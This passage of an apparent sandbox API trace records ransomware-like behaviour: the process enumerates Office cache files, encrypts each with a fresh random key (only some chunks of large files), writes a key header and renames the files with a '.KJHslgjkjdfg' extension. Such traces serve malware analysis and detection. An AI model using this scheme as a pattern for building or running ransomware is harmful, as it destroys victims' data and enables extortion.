dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0155.459] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0155.459] GetProcessHeap () returned 0x990000 [0155.459] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0155.459] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.462] GetProcessHeap () returned 0x990000 [0155.462] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.462] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.462] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.462] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xf, lpOverlapped=0x0) returned 1 [0155.465] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.465] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.465] GetProcessHeap () returned 0x990000 [0155.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0155.465] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0155.465] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.465] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0155.465] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.465] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.465] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.465] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.465] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.466] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.466] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.466] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.466] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x1861, lpOverlapped=0x0) returned 1 [0155.468] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1870, dwBufLen=0x1870 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1870) returned 1 [0155.469] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.469] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x1870, lpOverlapped=0x0) returned 1 [0155.469] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.469] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.469] SetEndOfFile (hFile=0x124) returned 1 [0155.472] GetProcessHeap () returned 0x990000 [0155.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0155.472] GetProcessHeap () returned 0x990000 [0155.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.472] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0155.475] CloseHandle (hObject=0x124) returned 1 [0155.475] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0155.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.476] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=50823389) returned 1 [0155.476] GetProcessHeap () returned 0x990000 [0155.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.476] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.476] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.476] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x3, lpOverlapped=0x0) returned 1 [0155.478] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.478] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.478] GetProcessHeap () returned 0x990000 [0155.478] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.478] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.479] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.479] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.479] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.479] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.479] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.479] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.479] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.479] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.479] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.479] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.479] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.484] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.489] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.490] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.491] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.491] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.491] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.491] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.528] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.530] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.531] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.531] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30380e0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.532] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.538] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.541] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30380e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.541] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.542] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.542] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.542] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.542] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.542] SetEndOfFile (hFile=0x124) returned 1 [0155.546] GetProcessHeap () returned 0x990000 [0155.546] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.546] GetProcessHeap () returned 0x990000 [0155.546] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.546] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.kjhslgjkjdfg")) returned 1 [0155.546] CloseHandle (hObject=0x124) returned 1 [0155.546] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0155.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.547] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2797568) returned 1 [0155.547] GetProcessHeap () returned 0x990000 [0155.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.547] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.547] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.547] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.547] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.547] GetProcessHeap () returned 0x990000 [0155.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.547] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.547] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.547] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.548] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.548] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.548] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.548] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.548] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.548] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.548] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.548] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.548] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.556] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.562] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.562] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.564] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.564] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.564] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.564] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.578] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.581] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.582] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.584] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.584] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.584] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.584] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.590] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.593] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.594] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.594] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.594] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.594] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.594] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.595] SetEndOfFile (hFile=0x124) returned 1 [0155.598] GetProcessHeap () returned 0x990000 [0155.598] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.598] GetProcessHeap () returned 0x990000 [0155.598] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.598] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.kjhslgjkjdfg")) returned 1 [0155.599] CloseHandle (hObject=0x124) returned 1 [0155.599] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 